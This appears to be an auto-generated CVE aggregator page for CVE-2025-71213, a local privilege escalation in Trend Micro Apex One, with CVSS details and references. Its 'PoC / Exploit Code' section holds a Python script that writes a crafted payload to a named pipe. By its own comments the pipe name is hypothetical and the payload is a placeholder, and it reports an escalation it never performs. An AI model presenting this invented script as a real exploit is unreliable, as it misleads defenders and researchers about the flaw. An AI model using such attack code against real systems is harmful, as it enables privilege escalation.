CVE-2025-71213

Description

An origin validation error vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Trend Micro Apex One (具体受影响版本请参考厂商官方公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept (Conceptual) for CVE-2025-71213
# This script demonstrates the logic of bypassing origin validation.

import os
import ctypes

def exploit():
    print("[*] Attempting to connect to vulnerable Apex One service...")
    
    # Hypothetical vulnerable pipe or interface
    target_interface = r"\\.\pipe\ApexOneCoreService"
    
    try:
        # Low-privileged user attempts to open a handle to the privileged service
        handle = ctypes.windll.kernel32.CreateFileW(
            target_interface,
            0x40000000, # GENERIC_WRITE
            0,
            None,
            3, # OPEN_EXISTING
            0,
            None
        )

        if handle == -1:
            print("[-] Service not found or access denied.")
            return

        # Craft payload to escalate privileges (e.g., update config)
        # Exploiting the lack of origin validation
        payload = b"UPDATE_CONFIG|SOURCE:attacker_controlled_path"
        
        bytes_written = ctypes.c_ulong(0)
        success = ctypes.windll.kernel32.WriteFile(
            handle,
            payload,
            len(payload),
            ctypes.byref(bytes_written),
            None
        )

        if success:
            print("[+] Payload sent successfully. Triggering privilege escalation...")
        else:
            print("[-] Failed to send payload.")
            
        ctypes.windll.kernel32.CloseHandle(handle)

    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-71213
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-71213
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-71213/
[4] VulDB https://vuldb.com/cve/CVE-2025-71213
[5] https://success.trendmicro.com/en-US/solution/KA-0022458
[6] https://www.zerodayinitiative.com/advisories/ZDI-26-140/

Raw JSON Data

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